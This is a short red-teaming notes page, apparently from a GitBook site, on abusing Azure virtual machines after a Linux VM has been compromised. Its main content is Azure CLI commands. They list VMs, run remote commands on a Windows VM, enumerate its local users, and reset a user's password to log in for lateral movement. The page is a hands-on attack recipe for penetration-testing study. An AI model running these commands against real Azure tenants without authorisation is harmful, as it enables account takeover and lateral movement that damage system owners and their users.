> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/aad/virtual-machine-abuse.md).

# Virtual Machine Abuse

This section is highly dependent on [Abusing Managed Identities](/red-teaming/notes/aad/abusing-managed-identities.md) so i recommend checking that out first and then coming back to this ʕ •ᴥ•ʔ

The setup is the same and the attack assumes you compromised a Linux-based VM and we can use it to execute commands on a Windows VM in the same resource group.

To start, we'll list all the VMs we have access to

```
~ ∮ az vm list -g DefaultResourceGroup-CUS --output table
```

In order to execute commands on one of them we can just execute the following

```
~ ∮ az vm run-command invoke -g DefaultResourceGroup-CUS -n <vm_name> --command-id IPConfig
```

One thing that comes really handy in lateral movement is being able to list users

```
~ ∮ az vm run-command invoke -g DefaultResourceGroup-CUS -n <vm_name> --command-id RunPowerShellScript --scripts Get-LocalUser
```

now that we know all the existing users on the VM we can reset one of their passwords and use the new one to log in

```
~ ∮ az vm user update -u <username> -p 'SomethingSecure123!' -n <vm_name> -g DefaultResourceGroup-CUS
```